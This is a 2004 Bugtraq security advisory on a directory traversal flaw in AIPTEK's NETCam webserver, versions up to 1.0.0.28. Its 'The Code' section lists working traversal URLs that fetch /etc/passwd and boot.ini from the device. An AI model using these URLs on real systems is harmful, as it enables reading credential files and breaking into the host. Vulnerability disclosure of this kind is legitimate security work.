bugtraq - NETCam webserver Directory traversal bug

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Message-ID: <000501c3df6b$ce594f00$0b3016ac@fucku>
Date: Tue, 20 Jan 2004 17:41:01 +0200
From: "Rafel Ivgi, The-Insider" <theinsider@....net.il>
To: <bugtraq@...urityfocus.com>
Subject: NETCam webserver Directory traversal bug


#######################################################################

Application:    NETCam webserver running NETCam Viewer 1.0.0.28
Vendor:           http://www.aiptek.com/
Versions:        <= 1.0.0.28
Platforms:       Windows/Unix
Bug:                 Directory traversal bug
Risk:                High
Exploitation:   remote with browser
Date:               14 Jan 2003
Author:            Rafel Ivgi, The-Insider
e-mail:             the_insider@...l.com
web:                http://theinsider.deep-ice.com

#######################################################################

1) Introduction
2) Bug
3) The Code

#######################################################################

===============
1) Introduction
===============


AIPTEK's cameras webserver is used as a webserver for watching security
cameras remotly.
It allows broadcasting live streaming video on the web through the built-in
webserver.
The server also allows live video capture.


#######################################################################

======
2) Bug
======

The webserver uses no protection to avoid the directory traversal bug.
The problem happens when the attacker uses the classic pattern "/../" that
allows him to see and download any file in the remote system knowing the
path.
This allows any attacker to : Read and download any local file, and in most
cases retrieve the machine's password files and invade it (using
ssh,ftp,http,netbios,samba etc...).

#######################################################################

===========
3) The Code
===========

http://<host>/../etc/passwd
http://<host>/../../etc/passwd
http://<host>/../../../boot.ini
http://<host>/../../../../boot.ini

#######################################################################

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."